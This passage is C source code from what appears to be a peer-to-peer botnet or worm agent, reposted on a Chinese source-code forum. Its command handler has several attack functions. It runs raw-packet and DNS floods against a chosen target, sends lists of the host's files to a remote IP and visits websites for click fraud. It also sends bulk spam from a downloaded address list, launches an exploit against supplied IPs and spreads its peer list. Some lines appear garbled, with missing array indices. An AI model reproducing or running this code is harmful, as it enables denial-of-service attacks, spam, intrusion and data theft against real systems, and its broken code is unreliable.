                        if (udpserver.len < sizeof(struct gen_rec)+rp->h.len || rp->h.len > 2999-sizeof(struct gen_rec)) break;
                        if (!isreal(rp->target)) {
                            senderror(&udpclient,rp->h.id,"Cannot packet local networks\n");
                            break;
                        }
                        if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) break;
                        senderror(&udpclient,rp->h.id,"Sending packets to target\n");
                        memset((void*)&in,0,sizeof(struct sockaddr_in));
                        in.sin_addr.s_addr=rp->target;
                        in.sin_family=AF_INET;
                        in.sin_port=htons(rp->port);
                        while(1) {
                            sendto(get,buf+sizeof(struct gen_rec),rp->h.len,0,(struct sockaddr *)&in,sizeof(in));
                            if (time(NULL) >= start+rp->secs) break;
                        }
                        close(get);
                        } break;
                    case 0x2C: { // Dns inondazione
                        struct dns {
                            unsigned short int id;
                            unsigned char  rd:1;
                            unsigned char  tc:1;
                            unsigned char  aa:1;
                            unsigned char  opcode:4;
                            unsigned char  qr:1;
                            unsigned char  rcode:4;
                            unsigned char  unused:2;
                            unsigned char  pr:1;
                            unsigned char  ra:1;
                            unsigned short int que_num;
                            unsigned short int rep_num;
                            unsigned short int num_rr;
                            unsigned short int num_rrsup;
                            char buf[128];
                        } dnsp;
                        unsigned long len=0,i=0,startm;
                        int fd,flag;
                        char *convo;
                        struct sockaddr_in in;
                        struct df_rec *rp=(struct df_rec *)buf;
                        time_t start=time(NULL);
                        if (udpserver.len < sizeof(struct df_rec)+rp->h.len || rp->h.len > 2999-sizeof(struct df_rec)) break;
                        if (!isreal(rp->target)) {
                            senderror(&udpclient,rp->h.id,"Cannot packet local networks\n");
                            break;
                        }
                        senderror(&udpclient,rp->h.id,"Dns flooding target\n");
                        memset((void*)&in,0,sizeof(struct sockaddr_in));
                        in.sin_addr.s_addr=rp->target;
                        in.sin_family=AF_INET;
                        in.sin_port=htons(53);
                        dnsp.rd=1;
                        dnsp.tc=0;
                        dnsp.aa=0;
                        dnsp.opcode=0;
                        dnsp.qr=0;
                        dnsp.rcode=0;
                        dnsp.unused=0;
                        dnsp.pr=0;
                        dnsp.ra=0;
                        dnsp.que_num=256;
                        dnsp.rep_num=0;
                        dnsp.num_rr=0;
                        dnsp.num_rrsup=0;
                        convo=buf+sizeof(struct df_rec);
                        convo[rp->h.len]=0;
                        _decrypt(convo,rp->h.len);
                        for (i=0,startm=0;i<=rp->h.len;i++) if (convo == '.' || convo == 0) {
                            convo=0;
                            sprintf(dnsp.buf+len,"%c%s",(unsigned char)(i-startm),convo+startm);
                            len+=1+strlen(convo+startm);
                            startm=i+1;
                        }
                        dnsp.buf[len++]=0;
                        dnsp.buf[len++]=0;
                        dnsp.buf[len++]=1;
                        dnsp.buf[len++]=0;
                        dnsp.buf[len++]=1;
                        while(1) {
                            dnsp.id=rand();
                            if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
                            else {
                                flag = fcntl(fd, F_GETFL, 0);
                                flag |= O_NONBLOCK;
                                fcntl(fd, F_SETFL, flag);
                                sendto(fd,(char*)&dnsp,sizeof(struct dns)+len-128,0,(struct sockaddr*)&in,sizeof(in));
                                close(fd);
                            }
                            if (i >= 50) {
                                if (time(NULL) >= start+rp->secs) break;
                                i=0;
                            }
                            i++;
                        }
                        } break;
                    case 0x2D: {
                        char ip[256];
                        struct escan_rec *rp=(struct escan_rec *)buf;
                        if (udpserver.len < sizeof(struct escan_rec)) break;
                        if (!isreal(rp->ip)) {
                            senderror(&udpclient,rp->h.id,"Invalid IP\n");
                            break;
                        }
                        conv(ip,256,rp->ip);
                        if (mfork() == 0) {
                            struct _linklist *getb;
                            struct ainst client;
                            StartScan("/");
                            audp_setup(&client,(char*)ip,ESCANPORT);
                            getb=linklist;
                            while(getb != NULL) {
                                unsigned long len=strlen(getb->name);
                                audp_send(&client,getb->name,len);
                                getb=getb->next;
                            }
                            audp_close(&client);
                            exit(0);
                        }
                        } break;
                    case 0x2E: {
                        struct click_rec *rp=(struct click_rec *)buf;
                        if (udpserver.len < sizeof(struct click_rec)+rp->h.len || rp->h.len > 2999-sizeof(struct click_rec)) break;
                        (buf+sizeof(struct click_rec))[rp->h.len]=0;
                        _decrypt(buf+sizeof(struct click_rec),rp->h.len);
                        if (mfork() == 0) {
                            ViewWebsite(strdup(buf+sizeof(struct click_rec)),NULL);
                            exit(0);
                        }
                        } break;
                    case 0x2F: {
                        struct spam_rec *rp=(struct spam_rec *)buf;
                        struct kill_rec np;
                        struct ainst up;
                        char *server,bufm[4096],*tmp,*str;
                        char *from=NULL,*subject=NULL,*data=NULL,*emails=NULL;
                        long i,d;
                        unsigned long emailcount=0;
                        if (udpserver.len < sizeof(struct spam_rec)+rp->h.len || rp->h.len > 2999-sizeof(struct spam_rec)) break;
                        memset((void*)&np,0,sizeof(struct kill_rec));
                        (buf+sizeof(struct spam_rec))[rp->h.len]=0;
                        _decrypt(buf+sizeof(struct spam_rec),rp->h.len);
                        if (!strncmp(buf+sizeof(struct spam_rec),"http://",7)) server=buf+sizeof(struct spam_rec)+7;
                        else server=buf+sizeof(struct spam_rec);
                        for (i=0;i<strlen(server) && server != '/';i++);
                        server=0;
                        if (mfork() == 0) {
                            struct ainst *g[1];
                            if (atcp_connect(&up,server,80) != 0) {
                                senderror(&udpclient,rp->h.id,"Unable to connect to host\n");
                                exit(0);
                            }
                            atcp_sendmsg(&up,"GET /%s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en] (X11; U; Linux 2.2.16-3 i686)\r\nHost: %s:80\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nAccept-Encoding: gzip\r\nAccept-Language: en\r\nAccept-Charset: iso-8859-1,*,utf-8\r\n\r\n",server+i+1,server);
                            g[0]=&up;
                            if (await(g,1,AREAD,20) != 0 || atcp_recv(&up,bufm,4096) != 0 || up.len == 0) {
                                senderror(&udpclient,rp->h.id,"Error communicating with website\n");
                                exit(0);
                            }
                            for (d=0;d<up.len-3;d++) if (!strncmp(bufm+d,"\r\n\r\n",4)) {
                                int mode=0,lpass=0;
                                d+=4;
                                goto read;
                                while(1) {
                                    struct ainst *g[1];
                                    g[0]=&up;
                                    if (await(g,1,AREAD,20) != 0) {
                                        senderror(&udpclient,rp->h.id,"Timed out while receiving data\n");
                                        exit(0);
                                    }
                                    if (atcp_recv(&up,bufm,4096) != 0 || up.len <= 0) break;
                                    d=0;
                                    read:
                                    for (;d<up.len;d++) {
                                        if (!strncmp(bufm+d,"----FROM----",strlen("----FROM----"))) {
                                            mode=1;
                                            lpass=1;
                                            continue;
                                        }
                                        if (!strncmp(bufm+d,"----SUBJECT----",strlen("----SUBJECT----"))) {
                                            mode=2;
                                            lpass=1;
                                            continue;
                                        }
                                        if (!strncmp(bufm+d,"----DATA----",strlen("----DATA----"))) {
                                            mode=3;
                                            lpass=1;
                                            continue;
                                        }
                                        if (!strncmp(bufm+d,"----EMAILS----",strlen("----EMAILS----"))) {
                                            mode=4;
                                            lpass=1;
                                            continue;
                                        }
                                        switch (mode) {
                                            case 1:
                                                str=from;
                                                break;
                                            case 2:
                                                str=subject;
                                                break;
                                            case 3:
                                                str=data;
                                                break;
                                            case 4:
                                                str=-1;
                                                if (bufm[d] == '\n') if (!lpass) emailcount++;
                                                if (emailcount >= rp->from && emailcount < rp->to) str=emails;
                                                if (bufm[d] == '\n' && emails == NULL) str=-1;
                                                break;
                                            default:
                                                str=-1;
                                        }
                                        if (str != -1 && !lpass) {
                                            int dontfree=0;
                                            if (str == NULL) {
                                                str="";
                                                dontfree=1;
                                            }
                                            tmp=malloc(strlen(str)+2);
                                            strcpy(tmp,str);
                                            tmp[strlen(str)]=bufm[d];
                                            tmp[strlen(str)+1]=0;
                                            if (!dontfree) free(str);
                                            str=tmp;
                                            switch (mode) {
                                                case 1:
                                                    from=str;
                                                    break;
                                                case 2:
                                                    subject=str;
                                                    break;
                                                case 3:
                                                    data=str;
                                                    break;
                                                case 4:
                                                    if (emailcount >= rp->from && emailcount < rp->to) emails=str;
                                                    break;
                                            }
                                        }
                                        if (bufm[d] == '\n') lpass=0;
                                    }
                                }
                                break;
                            }
                            atcp_close(&up);
                            np.h.tag=0x42;
                            np.h.seq=newseq();
                            np.h.id=rp->h.id;
                            audp_send(&udpclient,(void*)&np,sizeof(struct kill_rec));
                            if (!from || !subject || !data || !emails) exit(0);
                            str=emails;
                            do {
                                int pid;
                                memset(bufm,0,4096);
                                for (i=0;str != 0 && str != '\n';i++) bufm=str;
                                if ((pid=fork()) == 0) {
                                    alarm(10);
                                    SendMail(bufm,from,subject,data);
                                    exit(0);
                                }
                                waitpid(pid,0,0);
                                tmp=strchr(str,'\n');
                                if (tmp == NULL) break;
                                else str=tmp+1;
                            } while(1);
                            exit(0);
                        }
                        } break;
                    case 0x30: {
                        struct exploit_rec *rp=(struct exploit_rec *)buf;
                        if (udpserver.len < sizeof(struct exploit_rec)) break;
                        if (isreal(rp->ip)) {
                            char srv[256];
                            conv(srv,256,rp->ip);
                            if (mfork() == 0) {
                                exploit(srv);
                                exit(0);
                            }
                        }
                        } break;
                    case 0x70: { // Avviano
                        struct {
                            struct addsrv_rec a;
                            unsigned long server;
                        } rc;
                        struct myip_rec rp;
                        if (!isreal(udpclient.in.sin_addr.s_addr)) break;
                        memset((void*)&rp,0,sizeof(struct myip_rec));
                        rp.h.tag=0x73;
                        rp.h.id=0;
                        rp.ip=udpclient.in.sin_addr.s_addr;
                        audp_send(&udpclient,(void*)&rp,sizeof(struct myip_rec));
                        memset((void*)&rc,0,sizeof(rc));
                        rc.a.h.tag=0x71;
                        rc.a.h.id=0;
                        rc.a.h.len=sizeof(unsigned long);
                        rc.server=udpclient.in.sin_addr.s_addr;
                        broute(0,(void*)&rc,sizeof(rc));
                        addserver(rc.server);
                        syncm(&udpclient,0x71,0);
                        } break;
                    case 0x71: { // Aggiungere alla lista
                        struct addsrv_rec *rp=(struct addsrv_rec *)buf;
                        struct next_rec { unsigned long server; };
                        unsigned long a;
                        char b=0;
                        if (udpserver.len < sizeof(struct addsrv_rec)) break;
                        for (a=0;rp->h.len > a*sizeof(struct next_rec) && udpserver.len > sizeof(struct addsrv_rec)+(a*sizeof(struct next_rec));a++) {
                            struct next_rec *fc=(struct next_rec*)(buf+sizeof(struct addsrv_rec)+(a*sizeof(struct next_rec)));
                            addserver(fc->server);
                        }
                        for (a=0;a<numlinks;a++) if (links[a] == udpclient.in.sin_addr.s_addr) b=1;
                        if (!b && isreal(udpclient.in.sin_addr.s_addr)) {
                            struct {
                                struct addsrv_rec a;
                                unsigned long server;
                            } rc;
                            struct myip_rec rp;
                            memset((void*)&rc,0,sizeof(rc));
                            rc.a.h.tag=0x71;
                            rc.a.h.id=0;
                            rc.a.h.len=sizeof(unsigned long);
                            rc.server=udpclient.in.sin_addr.s_addr;
                                   audp_send(&udpclient,(void*)&rc,sizeof(rc));
                            memset((void*)&rp,0,sizeof(struct myip_rec));
                            rp.h.tag=0x73;
                            rp.h.id=0;
                            rp.ip=udpclient.in.sin_addr.s_addr;
                            audp_send(&udpclient,(void*)&rp,sizeof(struct myip_rec));
                            addserver(udpclient.in.sin_addr.s_addr);
                        }
                        } break;
                    case 0x72: { // Trasmettere la lista
                        syncm(&udpclient,0x71,0);
                        } break;
                    case 0x73: { // Ottenere mio IP
                        struct myip_rec *rp=(struct myip_rec *)buf;
                        if (udpserver.len < sizeof(struct myip_rec)) break;
                        if (!myip && isreal(rp->ip)) myip=rp->ip;
                        } break;
                    case 0x74: { // Trasmettere i vostri IP
                        struct myip_rec rc;
                        memset((void*)&rc,0,sizeof(struct myip_rec));
                        rc.h.tag=0x73;
                        rc.h.id=0;
                        rc.ip=udpclient.in.sin_addr.s_addr;
                        if (!isreal(rc.ip)) break;
                        audp_send(&udpclient,(void*)&rc,sizeof(struct myip_rec));
                        } break;
                    case 0x41:   //  --|
                    case 0x42:   //    |
                    case 0x43:   //    |
                    case 0x44:   //    |---> Dati dell' utente
                    case 0x45:   //    |
                    case 0x46: { //  --|
                        unsigned long a;
                        struct header *rc=(struct header *)buf;
                        if (udpserver.len < sizeof(struct header)) break;
                        if (!useseq(rc->seq)) {
                            addseq(rc->seq);
                            for (a=0;a<LINKS;a++) if (routes[a].id == rc->id) {
                                struct ainst ts;
                                char srv[256];
                                conv(srv,256,routes[a].ip);
                                audp_setup(&ts,srv,routes[a].port);
                                audp_close(&ts);
                                ts.sock=udpserver.sock;
                                audp_send(&ts,buf,udpserver.len);
                                break;
                            }
                        }
                        } break;
                }
            }
        }
    }
    audp_close(&udpserver);
    return 0;
}


您需要登录后才可以回帖 登录 | 注册

本版积分规则

关注0

粉丝1

帖子2

发布主题
国内最专业的源码技术交流社区
全国免费热线电话

0373-5171417

周一至周日9:00-23:00

反馈建议

admin@eenot.com 在线QQ咨询

扫描二维码关注我们